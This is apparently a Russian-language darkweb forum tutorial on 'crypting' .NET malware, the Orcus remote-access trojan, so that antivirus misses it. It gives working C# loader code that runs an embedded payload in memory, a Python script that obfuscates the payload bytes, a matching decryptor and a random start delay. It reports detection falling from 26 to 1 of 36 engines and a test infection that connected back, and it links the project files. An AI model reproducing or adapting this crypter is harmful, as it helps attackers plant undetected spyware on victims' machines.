xxx
xxxКак и обещал, статья про криптование ратника и любых других .NET приложений
Предисловие:
Мне около недели назад кинули крипт моего модуля бота от человека, который занимается этим на дарквебе и других форумах. Файлик легко разобрался через dotPeek и я чуть охренел когда открыл его. До этого момента я думал что не особо шарю в крипте, но, как оказалось, говнокод в этом деле - залог успеха.
Материалы:
Visual Studio 2015
Python 3.5
Семпл .Net вируса (https://darkwebs.ws/threads/40801/)
2 руки
Приступим:
Открываем Visual Studio и создаем Visual C# проект (console application). Далее заходим в вкладку свойств и переключаемся на Приложение Windows. Далее заходим в ресурсы, добавляем сторонний файл (выбранный .net семпл).
В методе main прописываем:
Код:
Assembly a = Assembly.Load(Properties.Resources.sample); MethodInfo m = a.EntryPoint; m.Invoke(a.CreateInstance(m.Name), new string[0]);
Где sample - имя вашего файла.
Я брал билд ратника Orcus и его изначальный детект был - http://viruscheckmate.com/id/5ZpbVs6RPFo2 (26/36)
Далее выставляем сборку на Release и собираем проект. Полученный файл чекаем на детект:
http://viruscheckmate.com/id/lFhLOauveFc2 (9/36). Тремя строчками избавились от 17 детектов, но все равно это слишком много.
Основное палево происходит по сигнатурам файла, который лежит в ресурсах (ратник), т.к. байты ничем не зашифрованы и файл ничем не накрыт.
Соответственно, нам надо каким-то образом сокрыть эти сигнатуры и воткнуть файл в память пока антивирус ничего не понял.
Для этого создаем Python-скрипт, который будет шифровать наш файл в ресурсах:
Код:
import os def encrypt(): with open('run.exe', 'rb') as f: arr = f.read() with open('encrypted.txt', 'w') as w: arr2 = [] for i in arr: if i % 2: arr2.append(int(i) - 25) # Абсолютно любая цифра else: arr2.append(int(i) + 15) # Абсолютно любая цифра for i in arr2: w.write(str(i) + " ") encrypt()
Где run.exe - имя вашего .Net семпла
Запоминаем цифры которые прописали в скрипте и запускаем его. Рядом со скриптом создастся текстовый файл с зашифрованными байтами в нем. Добавляем его в ресурсы проекта, предварительно удалив старый.
Далее очищаем метод main и внизу создаем отдельный метод дешифровки байтов
Код:
public static byte[] decrypt() { string enc = Properties.Resources.encrypted; string[] bytes = enc.Split(' '); byte[] decrypted = new byte[bytes.Length - 1]; for (int i = 0; i < bytes.Length - 1; i++) { int curr = Convert.ToInt32(bytes[i]); if (curr % 2 == 0) decrypted[i] = Convert.ToByte(curr + 25); # Цифра из скрипта else decrypted[i] = Convert.ToByte(curr - 15); # Цифра из скрипта } return decrypted; }
Устанавливаем цифры которые вставили в скрипте и дешифровка готова.
Далее это дело нужно как-то запускать. Для этого напишем еще один метод:
Код:
public static void run() { Assembly a = Assembly.Load(decrypt()); MethodInfo m = a.EntryPoint; m.Invoke(a.CreateInstance(m.Name), new string[0]); }
А в методе main пропишем запуск потока с рандомной задержкой:
Код:
static void Main(string[] args) { Thread.Sleep(new Random().Next(1, 35) * 1000); new Thread(run).Start(); }
Собираем проект, и получаем следующий результат - http://viruscheckmate.com/id/8fb1KgzDW8dR (1/36)
Не спрашивайте почему там есть Nod. Он просто по дефолту палит все мои продукты .-.
Билд вполне рабочий, я тестировал на виртуалке и юзер отстучал в ратник. Для красоты можно сверху накрыть темидой чтоб детект держался минимальным, но это не обязательно.
Ссылка на гайд по настройке ратника - https://darkwebs.ws/threads/40801/
Ссылка на проект и доп. файлы - https://www.sendspace.com/file/iszve3
Тема создана исключительно для новичков, просьба не использовать подобный говнокод в серьезных проектах ради своего же блага, как это делают многие "крипторы" сейчас. Это всего-лишь пища для ума, а то как вы ее воспримите и доработаете уже исключительно ваше дело.
И, да, я не помогаю с настройкой этого, и так дал все готовое)
-----------------------------------------------------
А еще скоро гайд по крипту Native файлов :3
Через RunPE, да-да :3